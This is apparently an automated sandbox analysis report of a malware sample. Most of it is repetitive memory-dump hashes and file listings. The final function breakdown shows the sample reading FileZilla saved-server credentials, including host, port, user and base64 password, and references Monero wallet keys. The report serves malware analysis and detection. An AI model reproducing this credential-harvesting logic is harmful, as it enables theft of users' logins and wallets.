Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12508c5a3310843c85f9c5ddeebf37d3648447172f16da2f5b89db676fd65877
Instruction ID: da9522ef7242a64c733ecf4b37d787dae31a8b1140eab178acc871e5e4a0f499
Opcode Fuzzy Hash: 12508c5a3310843c85f9c5ddeebf37d3648447172f16da2f5b89db676fd65877
Instruction Fuzzy Hash: 869166308287916AEB168B7CCC427AAB794FFE6350F14C31AF999724E1FB718681D345

Function 00C1D39E Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23b87471342f6f1c58ea4892999818a4d704ced4d641009a5909c51f93f051e8
Instruction ID: e798cfe420e990fc24b0c6b0339dfdd87db8afc9019c5ef4f6dfd1f46afa711a
Opcode Fuzzy Hash: 23b87471342f6f1c58ea4892999818a4d704ced4d641009a5909c51f93f051e8
Instruction Fuzzy Hash: 6BA12072A10A19DBEB19CF55CCC1A9EBBB1FB55314F14C62AD41AE73A0D334AA84CF50

Function 00BE4288 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 143b5be348379f211606af6e5973f90fff61db65041019bd3b0858e73cc7828a
Instruction ID: f414410a75c1b5229cac6ad114a3ce18e67ce4fb9e8844c4a7bbf0c80bfc54ae
Opcode Fuzzy Hash: 143b5be348379f211606af6e5973f90fff61db65041019bd3b0858e73cc7828a
Instruction Fuzzy Hash: 8BA17F72E083519BD308CF65C89075BF7E2EFC8710F1ACA3DA8A997254D774E8419B82

Function 010CE2EC Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 922e605ceea91c14dba8fda932fe174109074c098e8a21d0d19e39c05c69ae1e
Instruction ID: a1746f7045c39e9ece66748c3da15a476f43516c7bead61c181d97079413b341
Opcode Fuzzy Hash: 922e605ceea91c14dba8fda932fe174109074c098e8a21d0d19e39c05c69ae1e
Instruction Fuzzy Hash: C551F7B3A0C510DBD3085B18EC5953EFEAAAB94A50F16853EE5C797344E97128018F97

Function 00F84B2A Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6130326437054d0442b24b6454b03becf38faabe2de4558289ce54037d16844
Instruction ID: 9abceb25caf5635fe73ce2fd47dbce6ec02c73c9970590710481aa3e9b5aaba6
Opcode Fuzzy Hash: a6130326437054d0442b24b6454b03becf38faabe2de4558289ce54037d16844
Instruction Fuzzy Hash: 035136F39092249FE304AE3DDC5537ABBD5EB85320F2B863DDA88D7784E935480586C6

Function 00E98939 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d71257c8a0eafba88e3c607418e32697df1452658efee59bcc2656664d07fe83
Instruction ID: c5f0a67f572421878dfbb2930d117f43e2a1707f7a71e15fbef2a7bf7dbbcf9f
Opcode Fuzzy Hash: d71257c8a0eafba88e3c607418e32697df1452658efee59bcc2656664d07fe83
Instruction Fuzzy Hash: CA5117F36182009BF308AE3DEC8973ABAD6DF94720F1A463DD6D5C77C4D9395804864A

Function 00FC1D37 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec00cd3279aaaf8448ffb3edca824dd8aaa824c14ab4c7838bcd8ff2875b30ec
Instruction ID: d6dccbbc558662346b4b5bea187ea6118874113fae152b56321e0b4805dbc1ce
Opcode Fuzzy Hash: ec00cd3279aaaf8448ffb3edca824dd8aaa824c14ab4c7838bcd8ff2875b30ec
Instruction Fuzzy Hash: 134116F37192086FE300A97EEC4477BB79ADBD4364F2A863AE794C3794E83958064191

Function 00FC41EC Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e89752d0818089b8cb5e0a472ec1c933a2f0ed365e311ac1e1f79537b7214ba
Instruction ID: 5ac513a418bcff8d1c94fb4948399c3aa6d307558c88a11da6d32d3343ee2614
Opcode Fuzzy Hash: 9e89752d0818089b8cb5e0a472ec1c933a2f0ed365e311ac1e1f79537b7214ba
Instruction Fuzzy Hash: CD414AF39082084BF3146D39ED457B7BBD6D794320F16863DDA88D3B80ED3958058286

Function 00C16799 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a8b669df8d736d86e52b1f6831f1fee8e67c9cfb658995c3eff484ea6ea57f1
Instruction ID: 79fd28d4ac664d2cf80c248ae9effe174ab67b0db4583eaa5072557287401dd9
Opcode Fuzzy Hash: 2a8b669df8d736d86e52b1f6831f1fee8e67c9cfb658995c3eff484ea6ea57f1
Instruction Fuzzy Hash: 2B513B62E09BD58AD7058B7544502EEBFB21FE6210F1E829EC4981F383C3759689D3E5

Function 00BE75A8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dffa8fe14fb17786e60520bf3c8c8ace1f347de8b7b0a65a7913e683934b358a
Instruction ID: 6f3579539133c16e82723237803b8971b03cd8b531f9f429ebb9f832563e04b3
Opcode Fuzzy Hash: dffa8fe14fb17786e60520bf3c8c8ace1f347de8b7b0a65a7913e683934b358a
Instruction Fuzzy Hash: 27D0C971A097118FC3688F1EF440546FAE8EBD8320715C53FA09EC3750C6B494418B54

Function 00BB9AA0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00BB03B0 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BB8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BB8F9B

Part of subcall function 00BBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00BBAC82
Part of subcall function 00BBAC30: lstrcat.KERNEL32(00000000), ref: 00BBAC92

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00BBAAF6

Part of subcall function 00BAA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BAA13C
Part of subcall function 00BAA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BAA161
Part of subcall function 00BAA110: LocalAlloc.KERNEL32(00000040,?), ref: 00BAA181
Part of subcall function 00BAA110: ReadFile.KERNEL32(000000FF,?,00000000,00BA148F,00000000), ref: 00BAA1AA
Part of subcall function 00BAA110: LocalFree.KERNEL32(00BA148F), ref: 00BAA1E0
Part of subcall function 00BAA110: CloseHandle.KERNEL32(000000FF), ref: 00BAA1EA

Part of subcall function 00BB8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BB8FE2

GetProcessHeap.KERNEL32(00000000,000F423F,00BC0DBF,00BC0DBE,00BC0DBB,00BC0DBA), ref: 00BB04C2
RtlAllocateHeap.NTDLL(00000000), ref: 00BB04C9
StrStrA.SHLWAPI(00000000,<Host>), ref: 00BB04E5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BC0DB7), ref: 00BB04F3
StrStrA.SHLWAPI(00000000,<Port>), ref: 00BB052F
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BC0DB7), ref: 00BB053D
StrStrA.SHLWAPI(00000000,<User>), ref: 00BB0579
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BC0DB7), ref: 00BB0587
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00BB05C3
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BC0DB7), ref: 00BB05D5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BC0DB7), ref: 00BB0662
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BC0DB7), ref: 00BB067A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BC0DB7), ref: 00BB0692
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BC0DB7), ref: 00BB06AA
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00BB06C2
lstrcat.KERNEL32(?,profile: null), ref: 00BB06D1
lstrcat.KERNEL32(?,url: ), ref: 00BB06E0
lstrcat.KERNEL32(?,00000000), ref: 00BB06F3
lstrcat.KERNEL32(?,00BC1770), ref: 00BB0702
lstrcat.KERNEL32(?,00000000), ref: 00BB0715
lstrcat.KERNEL32(?,00BC1774), ref: 00BB0724
lstrcat.KERNEL32(?,login: ), ref: 00BB0733
lstrcat.KERNEL32(?,00000000), ref: 00BB0746
lstrcat.KERNEL32(?,00BC1780), ref: 00BB0755
lstrcat.KERNEL32(?,password: ), ref: 00BB0764
lstrcat.KERNEL32(?,00000000), ref: 00BB0777
lstrcat.KERNEL32(?,00BC1790), ref: 00BB0786
lstrcat.KERNEL32(?,00BC1794), ref: 00BB0795
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BC0DB7), ref: 00BB07EE

Strings

<Port>, xrefs: 00BB0526
login: , xrefs: 00BB072A
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00BB0404
profile: null, xrefs: 00BB06C8
<User>, xrefs: 00BB0570
browser: FileZilla, xrefs: 00BB06B9
<Pass encoding="base64">, xrefs: 00BB05BA
<Host>, xrefs: 00BB04DC
password: , xrefs: 00BB075B
url: , xrefs: 00BB06D7

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
